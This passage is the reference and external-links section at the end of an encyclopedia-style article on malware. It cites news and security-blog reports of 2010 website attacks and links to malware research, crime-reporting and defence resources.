43. ^ Sharon Khare. "Wikipedia Hijacked to Spread Malware". India: Tech2.com. http://www.tech2.com/india/news/telecom/wikipedia-hijacked-to-spread-malware/2667/0. Retrieved 2010-04-15. 
44. ^ "Continuing attacks at Network Solutions? | Sucuri". Blog.sucuri.net. 2010-05-07. http://blog.sucuri.net/2010/05/continuing-attacks-at-network-solutions.html. Retrieved 2010-11-14. 
45. ^ "Attacks against Wordpress". Sucuri Security. May 11, 2010. http://blog.sucuri.net/2010/05/new-attack-today-against-wordpress.html. Retrieved 2010-04-26. 
46. ^ "Protecting Corporate Assets from E-mail Crimeware," Avinti, Inc., p.1^{[dead link]}

External links

• Malicious Software at the Open Directory Project
• Malicious Programs Hit New High – retrieved February 8, 2008
• Malware Block List
• Open Security Foundation Data Loss Database
• Internet Crime Complaint Center
• US Department of Homeland Security Identity Theft Technology Council report "The Crimeware Landscape: Malware, Phishing, Identity Theft and Beyond"
• Video: Mark Russinovich – Advanced Malware Cleaning
• MalCon, International Malware Conference (convention), focused specifically on Malware development, research and containment.
• Jamie Crapanzano (2003): "Deconstructing SubSeven, the Trojan Horse of Choice", SANS Institute, Retrieved on 2011-05-23